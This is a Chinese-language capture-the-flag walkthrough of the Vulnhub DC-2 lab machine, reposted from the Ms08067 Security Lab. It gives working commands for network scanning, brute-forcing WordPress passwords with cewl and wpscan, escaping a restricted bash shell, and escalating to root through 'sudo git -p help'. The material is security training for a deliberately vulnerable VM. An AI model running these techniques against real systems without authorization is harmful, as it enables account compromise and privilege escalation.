前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【Vulnhub靶机系列】DC2

【Vulnhub靶机系列】DC2

作者头像
Ms08067安全实验室
发布2021-04-25 11:42:52
1K0
发布2021-04-25 11:42:52
举报
文章被收录于专栏:Ms08067安全实验室

文章来源|MS08067 安全实验室

本文作者:大方子(Ms08067实验室核心成员)

基本信息

Kali:192.168.61.145

DC2:192.168.61.162

实验过程

在Kali中先进行内网探活

代码语言:javascript
复制
sudo arp‐scan ‐‐interface eth0 192.168.61.1/24

排查筛选得知,192.168.61.162为DC2的IP地址。

接下来用Nmap对DC2进行端口扫描

代码语言:javascript
复制
nmap ‐sC ‐sV ‐p- ‐oA ~/vulnhub/DC2 192.168.61.162

可知DC2开启了80端口和7744端口,根据信息可知7744端口为SSH

我们先访问下DC2的80端口

返回一个错误页面,F12可以看到网页做了一个301永久重定向

我们编辑下Kali的hosts文件

代码语言:javascript
复制
sudo vim /etc/hosts

添加一条

代码语言:javascript
复制
192.168.61.162 dc‐2

再次用kali打开dc-2,即可正常显示

在页面中即可找到flag1

Flag 1: Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl. More passwords is always better, but sometimes you just can’t win them all. Log in as one to see the next flag. If you can’t find it, log in as another.

Flag1提示我们要使用cwel来生成密码字典

代码语言:javascript
复制
cewl dc‐2 > pwd.txt

使用wpscan可以扫出当前wp的漏洞

代码语言:javascript
复制
wpscan ‐‐url http://dc‐2/

我们用wpscan枚举出当前存在的用户,并存入username.txt中

代码语言:javascript
复制
wpscan ‐‐url http://dc‐2 ‐e u

然后我们用刚刚生成的username.txt和pwd.txt进行账号密码遍历

代码语言:javascript
复制
wpscan ‐‐url http://dc‐2/ ‐U username.txt ‐P pwd.txt
代码语言:javascript
复制
[SUCCESS] ‐ jerry / adipiscing
[SUCCESS] ‐ tom / parturient

然后我们打开wp的管理后台,一般都是wp-admin

代码语言:javascript
复制
http://dc‐2/wp‐admin

先登录jerry的账号,发现flag2

Flag 2: If you can't exploit WordPress and take a shortcut, there is another way. Hope you found another entry point.

flag2说我们无法攻击WP,我们需要寻找别的方法

然后登录tom没有什么额外的发现

靶机除了80还有7744(SSH)端口,我们也可以用这2个账号尝试下

jerry无法登录SSH,但是tom是可以顺利登录SSH

我们先看看tom可以执行那些命令

代码语言:javascript
复制
tom@DC‐2:~$ echo $PATH
tom@DC‐2:~$ echo /home/tom/usr/bin/*

可以看到只能执行less,ls,scp,vi

我们ls下发现flag3.txt,在用less获取flag3的内容

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes

感觉这句话的意思像是提示我们要su到jerry,但是我们无法使用su命令

所以我们需要绕过rbash(受限的bash)

代码语言:javascript
复制
tom@DC‐2:~$ BASH_CMDS[a]=/bin/sh;a
$ /bin/bash
tom@DC‐2:~$ export PATH=$PATH:/bin/
tom@DC‐2:~$ export PATH=$PATH:/usr/bin

然后我们切换到jerry,密码为adipiscing

切换到jerry的家目录就可以得到flag4.txt

查找下suid文件

代码语言:javascript
复制
find / ‐perm ‐u=s ‐type f 2>/dev/null

并没有像dc-1那样可以利用find

那么我们看看jerry有没有可以执行的具有root权限的命令

代码语言:javascript
复制
sudo ‐l

这里有一个很明显的git命令,还是不需要密码的

去网上找下利用git命令提权的文章

https://www.cnblogs.com/zaqzzz/p/12075132.html#3git%E6%8F%90%E6%9D%83

代码语言:javascript
复制
jerry@DC‐2:~$ sudo git ‐p help
!/bin/bash

得到最后的final-flag

额外内容


rbash另一种绕过方式

代码语言:javascript
复制
# vi编辑shell
# 命令模式分别输入 :set shell=/bin/bash
:shell
tom@DC‐2:~$ vi shell
tom@DC‐2:~$ export PATH=/usr/sbin:/usr/bin:/sbin:/bin
tom@DC‐2:~$ su jerry
Password:
jerry@DC‐2:/home/tom$

另一种查看当前用户可用命令方式

代码语言:javascript
复制
compgen ‐c
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-04-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档